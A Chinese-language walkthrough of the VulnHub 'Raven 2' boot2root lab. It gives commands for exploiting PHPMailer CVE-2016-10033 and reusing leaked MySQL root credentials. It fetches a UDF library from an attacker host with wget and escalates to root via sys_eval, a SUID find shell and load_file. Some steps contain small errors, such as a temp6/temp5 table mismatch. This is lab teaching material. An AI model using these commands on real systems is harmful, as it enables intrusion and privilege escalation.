靶机地址:https://www.vulnhub.com/entry/raven-2,269/
靶机描述:Raven 2是中级boot2root VM。有四个标志要捕获。在多次违反之后,Raven Security采取了额外的措施来加固其Web服务器,以防止黑客入侵。您是否仍然可以违反Raven?
目标:找到4个flag
作者:嗯嗯呐
使用dirb进行目录爆破,
dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测
dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt
爆破以下目录
在文件PTAH下,发现了第一个flag和一个绝对目录
/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
同时发现靶机使用了PHPMailer 版本号为 5.2.16
PHPMailer是一个用于发送电子邮件的PHP函数包。直接用PHP就可以发送,无需搭建复杂的Email服务。
查一查这个版本存不存在漏洞
发现PHPMailer远程执行漏洞
msf利用一下试试,查询漏洞,因为2016-10033漏洞利用Sendmail函数进行注入,所有使用标注的exp
配置参数
TARGETURI:配置/contact.php,因为PHPMailer在这个界面调用
TRIGGERURI:配置/ (此处的/为web程序的根目录,并非linux的根目录), 上传并可以执行payload路径
WEB_ROOT : 配置 /var/www/html ,从上面第一个flag出得到的路径可以判断出WEB的绝对路径在/var/www/html
执行 find / -name flag* ,查询到第三flag
最后一个一定再root用户下,可是查了查uname -a ,是2018年的,试了还几个2018、2019的提权漏洞,都是不行
通过查看发现,发现系统部署了mysql,并且使用root用户启动
去应用的配置文件里看看有没有mysql的账号密码,在前面扫描的时候,只有wordpress目录没有进去查看过了
发现里面有一个文件,权限是当前用户,而且名字那么露骨,一看他就不是个好人,wp-config.php
用户:root 密码:R@v3nSecurity
连接Mysql 数据库 mysql -u root -pR@v3nSecurity,进入一个库
看看可以不以使用UDF提权,因为mysql是root用户运行的,如果我们提权成功,将获得root权限
show global variables like 'secure%';
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出文件,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出文件只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出文件做限制,此时可提权
发现可以导出导入文件,接下来查询对应的mysql的为数
show variables like ‘%compile%’; #查看主机版本及架构
64位的mysql数据库,去找对应的payload,可以在msf目录下查找就行,因为是64位的,所以必须要使用lib_mysqludf_sys_64.so
注:dll文件应该在windows下使用的最好,我在linux实验了多次,都是不行,应该是我太菜了
复制出来
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so /root/Desktop/
在攻击机上启动5556端口,提供下载服务
python -m SimpleHTTPServer 5556
靶机执行下载命令
wget http://192.168.16.129:5556/lib_mysqludf_sys_64.so
连接Mysql 数据库
mysql -u root -pR@v3nSecurity
UDF提权的核心就是,将mysql的plugin目录下,将上面插件引入数据库,执行命令
所以要查询plugin目录的绝对目录,查询到plugin目录为/usr/lib/mysql/plugin/
show variables like 'plugin%';
创建一个表用来存so文件的内容
create table temp6(data longblob);
在MySQL中Blob是一个二进制的对象,它是一个可以存储大量数据的容器(如图片,音乐等等),且能容纳不同大小的数据,在MySQL中有四种Blob类型,他们的区别就是可以容纳的信息量不容分别是以下四种:
①TinyBlob类型 最大能容纳255B的数据
②Blob类型 最大能容纳65KB的
③MediumBlob类型 最大能容纳16MB的数据
④LongBlob类型 最大能容纳4GB的数据
将文件写入表中
insert into temp5(data) values (load_file('/var/www/html/lib_mysqludf_sys_64.so'));
将表中的文件内容,输出成一个文件,并存放到plugin目录中
select data from temp5 into dumpfile "/usr/lib/mysql/plugin/udf64.so";
导入文件,创建sys_eval函数
create function sys_eval returns string soname 'udf64.so';
之后就可以使用sys_eval函数执行命令试试了
select sys_eval('whoami');
第一种:
第二种:
也可以通过chmod u+s命令获得root用户的shell
select sys_eval('chmod u+s /usr/bin/find');
“为了方便普通用bai户执行一些特权命令,SUID/SGID程序允许du普通用户以root身份暂时执zhi行该程序,并在执行结束后dao再恢复身份。”
chmod u+s 就是给某个程序的所有者以suid权限,可以像root用户一样操作。
通过find命令的 exec参数,获取root的shell
find 1.txt -exec '/bin/sh' \;
-exec,find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为command {} ;,注意{ }和\之间的空格 。
{} : find找到的内容 。
; 是bash的特殊意义,就用反斜杠转义。
第三种:
有个更简单的,不用udf提权就可以获得flag4
在中间登陆数据库之后,执行命令
show global variables like 'secure%';
查询mysql是否支持文件读入和写入(OFF为可以任意地址读写文件)
因为最后一个flag.txt大概猜到在root目录下面,也明白他的命名格式,盲猜试试
SELECT load_file(’/root/flag4.txt’) ;
成功获取flag4 完成!!!
总结:
此靶机存在很多渗透方法,上面只是一种,仅供参考。本文章渗透思路如下图:
叮叮咚咚完成,这几天一直在忙,只有没有来及发,今天吃过饭,修改了一下,文章中很多地方不太严谨,仅供大家一个图个乐吧,谢谢!!!